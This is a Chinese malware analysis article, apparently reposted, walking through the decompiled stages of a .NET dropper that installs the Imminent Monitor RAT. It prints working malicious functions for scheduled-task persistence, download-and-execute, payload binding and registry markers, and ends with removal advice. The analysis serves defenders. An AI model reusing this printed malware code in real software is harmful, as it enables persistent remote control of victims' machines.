内容简介:第一个if语句在程序集中调用了一个名为okapise的函数,它提供了当前程序的位置、两个名称和一个设置为false的布尔值。据此判断,它可能会执行一个具有给定名称的文件。第二个if语句会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因此二进制文件可能会在一个进程中自我注入。
上一篇 提到代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。
第一个if语句在程序集中调用了一个名为okapise的函数,它提供了当前程序的位置、两个名称和一个设置为false的布尔值。据此判断,它可能会执行一个具有给定名称的文件。
第二个if语句会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因此二进制文件可能会在一个进程中自我注入。
第三个if语句会将一个名为mb的函数与四个字符串一起调用,由于在MessageBox(消息框)中使用了术语body,title,warning和messageonce,mb可能是MessageBox(消息框)的简写。
第四个if语句调用一个名为d的函数,该函数使用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,根据这个判断,该函数很可能是一个下载文件。 dl内容的一部分是经过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci
第五个if语句会调用一个名为zalepen的函数,该函数使用内容绑定和一个字符串。由于没有可用于检测的内容,因此很难确定这个函数到底是做什么的。另外,该名称也没有提供什么实质性信息。如果字符串中包含单词bind,则意味着恶意软件可能会将自己绑定到某个运行函数上。不过,这只是猜测,库中的函数很可能提供有更多的信息。
虽然靠估计和猜测,会得出一些有价值的信息,但必定都不确定。可以肯定的是,必须对这些内容进行检测,不过这些内容在执行之前既没有被写入磁盘,而且还在执行之前已经加密了。为了解决这个问题,可以随时修改代码并停止执行。以下代码片段可用于将解密后的内容写入磁盘。
[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
[...]
}
[...]
小结
加载程序——第1阶段类似,对这个阶段做个小结也非常有必要,因为存储在库中的函数在dropper的第二阶段中被调用。虽然参数位于第二阶段,而代码则在dropper的第三阶段执行:
1.根据运行环境的不同,程序的执行要么停止,要么继续;
2.将设置标记,这些标记稍后将定义在库中所执行的函数;
3.这两个参数都加载到内存中;
4.根据标记的不同,库中的给定方法会使用定义的参数执行;
加载程序——第3阶段(第1部分)
根据dnSpy,程序assemblyPart1.exe最初被命名为svchost.exe(版本0.0.0.0),其入口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件使用了很长且没有意义的字符串进行模糊化处理,具体内容如下所示。
public static void Method0()
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}
在浏览文件时,可以看到一个我们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包含一个恶意使用的消息,可以在下面找到。
// Imminent-Monitor-Client-Watermark // // Types: // // <a href="/cdn-cgi/l/email-protection" data-cfemail="9dcdf1f8fceef8b0fef2f3e9fcfee9b0fcffe8eef8ddf4f0f0f4f3f8f3e9f0f8e9f5f2f9eeb3f3f8e9b0eaf4e9f5b0e9f5f8b0f5fceff9eafceff8b0f4f9">[email protected]</a>:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在访问 Imminent Method 网站时,可以清楚地了解到这种有效载荷的目的就是实施远程管理。在执行这个准备好的二进制文件后,可以在Imminent Method软件的控制面板中访问受害者的设备,这是RAT的核心功能。
加载程序——第3阶段(第2部分)
用dnSpy打开assemblyPart2.dll后,可以很明显看到,它是一个动态链接库(原始名称为graznataguz.dll,版本1.1.0.0),其中含有两个类。首先,可以观察到空的内部类模块。此外,还有一个名为RunLib的类,它的名称与第2阶段中选择的on相同。使用if语句和库中的函数,可以开始根据实际环境匹配所做的假设。
okapise
在第一个if语句中,函数okapise与四个参数一起被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide)
{
Directory.CreateDirectory(Environment.GetFolderPath(26) + "\\" + value);
string text = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"\\",
value,
"\\",
filename
});
string text2 = string.Concat(new string[]
{
Environment.GetFolderPath(26),
"\\",
value,
"\\",
RunLib.RndString(5),
".xml"
});
string name = WindowsIdentity.GetCurrent().Name;
string text3 = Resources.TE;
if (!(location == text))
{
File.Copy(location, text, true);
}
bool flag = (File.GetAttributes(location) & 2) == 2;
if (hide && !flag)
{
File.SetAttributes(text, File.GetAttributes(text) | 2);
}
text3 = text3.Replace("[USERID]", name).Replace("[LOCATION]", text);
File.WriteAllText(text2, text3);
Process.Start(new ProcessStartInfo("schtasks.exe", string.Concat(new string[]
{
"/Create /TN \"" + value + "\\",
value,
"\" /XML \"",
text2,
"\""
}))
{
WindowStyle = 1
}).WaitForExit();
File.Delete(text2);
}
整数26就是枚举值System.Environment.SpecialFolder.ApplicationData,详情请 点此 ,反编译函数RndString如下所示。
private static string RndString(int Length)
{
string text = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890";
string text2 = "a";
for (int i = 0; i < Length; i++)
{
text2 += text.get_Chars(new Random().Next(0, text.Length)).ToString();
}
return text2;
}
这个函数会根据含有字母和数字的字母表(上下框都有)和下划线返回一个具有给定长度的字符串,最后,在okapise函数中使用了名为TE的内容。XML表的内容如下所示:
<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2014-10-25T14:27:44.8929027</Date>
<Author>[USERID]</Author>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>[USERID]</UserId>
</LogonTrigger>
<RegistrationTrigger>
<Enabled>false</Enabled>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>[USERID]</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>[LOCATION]</Command>
</Exec>
</Actions></Task>
函数okapise需要一个位置、文件名、值和一个布尔值来决定它是否应该保持隐藏状态。在ApplicationData文件夹中,使用其中的内容创建一个新文件作为模板。在模板中,[USERID]和[LOCATION]标签将替换为当前用户的名称和OXPZYZ.exe的位置(因为参数中给出了这个字符串)。
使用schtasks.exe(Windows定时任务,安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。),它会在用户登录时创建一个新任务来启动OXPZYZ.exe。这部分恶意软件会保留最终的有效载荷,且命名为OXPZYZ.exe。
Inj函数
Inj函数需要多个参数,例如内容、名称、持久性布尔值、提升权限布尔值、关键进程布尔值、启动字符串和其他参数。反编译代码如下所示:
首先,该函数会检测Avast或AVG当前是否处于活动状态。如果是这样,它会等待25秒再继续。由于所有执行进程都发生在内存中,因此可以放心的假设程序不再位于模拟器中。无论如何,睡眠时间是不会逃脱杀毒软件检测的,因为它们是在事件发生时触发的。接下来,针对.NET检测给定的字节数组。如果.Net Framework可以加载库,则它就是一个.NET库并位置被保存。如果提供的name参数就是自身,也是如此。如果name参数包含字符串default,则使用默认浏览器。默认浏览器来自于注册表,如下面的反编译代码所示。
public static string defBrowser()
{
string result;
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserChoice");
result = Registry.ClassesRoot.OpenSubKey(registryKey.GetValue("ProgId") + "\\shell\\open\\command").GetValue(null).ToString().Split(new char[]
{
'"'
})[1];
}
catch
{
result = "svchost";
}
return result;
}
在任何其他情况下,都假定有一个本机库,并使用.Net Framework或服务主机(svchost.exe)执行。如果名为svcchost的进程已经运行,则库会尝试终止该进程,具体过程如下面的反编译代码所示,其中多余的c似乎是攻击者的拼写错误。
private static void CheckRunning(string name)
{
foreach (Process process in Process.GetProcesses())
{
if (process.ProcessName.Contains(name) && process.StartInfo.FileName == Path.GetTempPath() + name + ".exe")
{
try
{
process.Kill();
}
catch
{
}
}
}
如果使用提供的参数(例如不同的文件名),则进程行为可能会稍微改变。在本文的示例中,情况并非如此,因为给定的参数本身已指定了具体的行为。给定的文件名是OXPZYZ.exe,类似于之前分析过的persistance函数中的字符串。
message box函数
message box(mb)需要多个参数,文本、标头、图标,下面给出了库中反编译的代码。
public static void mb(string text, string caption, string icon, string once)
{
if (!RunLib.checkreg(once))
{
MessageBoxIcon messageBoxIcon = 0;
string text2 = icon.ToLower();
if (!(text2 == "hand"))
{
if (!(text2 == "warning"))
{
if (text2 == "asterisk")
{
messageBoxIcon = 64;
}
}
else
{
messageBoxIcon = 48;
}
}
else
{
messageBoxIcon = 16;
}
MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String(text)), Encoding.UTF8.GetString(Convert.FromBase64String(caption)), 0, messageBoxIcon);
}
}
文本和标头是在mb函数中解码的,因此它们应该是base64编码。但实际上,给定的参数都不是base64编码的。在第二阶段dropper中将flag4更改为true,而将其他更改为false,可以看到由于给定的try-catch结构而弹出false。此错误让我们再次确认了以下事实,即所使用的字符串不是base64编码的,也不是在调用库之前以某种方式更改的。
函数d
函数d会下载并执行给定的二进制文件,在第二阶段加载程序中,通过解码内容来获得输出的加密内容,它是一个部分可读的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci
使用下面的代码,可以显示带有解码内容的消息框,这是为了确保之后退出程序,以避免意外执行有效载荷。
string output = Encoding.Default.GetString(MainClass.decrypt(Properties.Resources.dl, input, key));MessageBox.Show(output);Environment.Exit(0);
输出的是一个VPN安装程序的链接,该安装程序托管在根特大学(位于比利时)的网站上,具体链接如下所示。
http://helpdesk.ugent.be/vpn/download/anyconnect-win-4.5.02033-core-vpn-predeploy-k9.msiPrasenci
除了url之外,库中的函数还需要一个额外的参数——字符串Z,下面给出了来自库的反编译函数d。
public static void d(string original, string once){
WebClient webClient = new WebClient();
string[] array = Regex.Split(original, "Prasenci");
if (!RunLib.checkreg(once))
{
foreach (string text in array)
{
if (!string.IsNullOrEmpty(text))
{
try
{
string[] array3 = text.Split(new char[]
{
'/'
});
string text2 = Path.GetTempPath() + array3[array3.Length - 1];
webClient.DownloadFile(text, text2);
Process.Start(text2);
}
catch
{
}
}
}
}}
附加的字符串Prasenci用作分配器,只保留URL。这可以用于逃脱那些基于包含可执行文件的地址的检测软件。
字符串Z只在checkreg函数中被使用,具体分析如下。在进行checkreg函数分析之前,将分析下载函数的其余部分。 url的最后一部分(最后一个斜杠后面的部分)用作文件名,Web客户端将从给定的URL下载文件,将其保存在系统的临时文件夹中并执行它。
public static bool checkreg(string name){
bool result;
try
{
if (string.IsNullOrEmpty(name))
{
result = false;
}
else if (Registry.CurrentUser.OpenSubKey(name) == null)
{
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(name);
registryKey.SetValue("Serial", name);
registryKey.Close();
result = false;
}
else
{
result = true;
}
}
catch
{
result = false;
}
return result;}
如果已存在名称为Z的注册表项,则表示远程恶意执行软件已在系统上注册。因此,不需要再次执行相同的函数。这样做的目的是,降低被杀毒软件捕获的概率。
zalepen
在第二阶段加载程序中,使用两个参数调用zalepen方法:绑定内容(bind asset)和字符串。与messagebox函数类似,字符串由括号括起来,且字母全部大写。
库中的zalepen函数代码如下所示:
public static void zalepen(byte[] fullbytes, string once)
{
string[] array = Regex.Split(Encoding.Default.GetString(fullbytes), "smazan");
if (!RunLib.checkreg(once))
{
for (int i = 0; i < array.Length; i++)
{
if (array[i] != "")
{
string[] array2 = Regex.Split(array[i], "seremise");
byte[] bytes = Encoding.Default.GetBytes(array2[0]);
if (RunLib.isDotNet(bytes))
{
RunLib.RunNt(bytes);
}
else
{
string text = Path.GetTempPath() + array2[1];
try
{
File.WriteAllBytes(text, bytes);
Process.Start(text);
}
catch
{
}
}
}
}
}
}
使用字符串smazan拆分提供的字节数组,使用checkreg函数,可以检测名称下是否存在注册表项。对于数组中的每个值,都会创建一个新数组。这个新数组基于一个新的拆分字符串:seremise,且仅使用此新数组的第一项(在索引0处)。如果库是.NET库,则启动它。如果失败,则将其作为本机库加载。如果它不是库,则它作为进程启动。isDotNet和RunNt函数的代码如下所示:
public static bool isDotNet(byte[] bytesdotnet){
bool result;
try
{
Assembly.Load(bytesdotnet);
result = true;
}
catch (Exception)
{
result = false;
}
return result;}
public static int RunNt(byte[] datatorun){
int result;
try
{
Thread thread = new Thread(new ParameterizedThreadStart(RunLib.RunNet));
thread.SetApartmentState(0);
thread.Start(datatorun);
result = Process.GetCurrentProcess().Id;
}
catch (Exception)
{
RunLib.native = true;
result = RunLib.Run(datatorun, Assembly.GetCallingAssembly().Location);
}
return result;}
总结
恶意远程攻击分为多个阶段,且各个阶段都有不同的功能。这些阶段的简要总结如下,最后,我们将给出从系统中删除此恶意远程攻击的方法。
第一阶段
刚开始执行后,包装器组件将会被删除。此阶段的目的是用来逃避杀毒软件的,因为它可以在不影响其他恶意软件的情况下,根据实际需要进行大量更改。具体的过程,就是使用不同的函数和不同的技术,且不同环境下,调用图、流程图和签名都将有所不同,而其余的恶意软件都将保持不变。
第二阶段
此阶段就是对恶意远程攻击的有效载荷(阶段3的第1部分)和库(阶段3的第2部分)进行封装。攻击者会根据不同的配置,执行不同的代码。这个包装器也相对容易更改,因为它只是调用库中的函数。拆分有效载荷的一部分(例如RAT组件和持久性,它们位于不同的内容中)也避免了防病毒检测,因为只有在第二阶段dropper的配置允许的情况下,才会加载并执行RAT病毒检测。否则,它仍然是加密的。
第3阶段的第1部分
恶意远程攻击有效载荷也是一种合法使用的程序,这样杀毒软件更难以检测其使用方式。
第3阶段的第2部分
该库包含许多函数,只要保留相同的参数,就可以更改它们。这样,可以使多个库具有相同的函数,但使用不同的代码来执行操作,这将使恶意软件更具隐蔽性。
恶意软件的缓解措施
要删除这种恶意软件,只需删除该任务并从ApplicationData文件夹中删除该文件。即使删除任务,足以避免被攻击,但我们还是建议最好还是删除所有内容。
如果要对系统做安全预防措施,可以创建给定的注册表项。由于库中的checkreg函数(阶段3的第2部分)在注册表项存在时,攻击者是不会启动恶意进程的。
以上所述就是小编给大家介绍的《对DOTNET(.NET)中的恶意远程访问进程进行分析(下)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 对DOTNET(.NET)中的恶意远程访问进程进行分析(上)
- 进程:进程生命周期
- Rietspoof恶意软件释放多个恶意有效载荷
- Python 知识巩固:通过主进程带起多个子进程实现多进程执行逻辑
- Python 中子进程与父进程
- 使用开源代码拼凑出恶意代码:Frankenstein恶意活动分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
How to Build a Billion Dollar App
George Berkowski / Little, Brown Book Group / 2015-4-1 / USD 24.95
Apps have changed the way we communicate, shop, play, interact and travel and their phenomenal popularity has presented possibly the biggest business opportunity in history. In How to Build a Billi......一起来看看 《How to Build a Billion Dollar App》 这本书的介绍吧!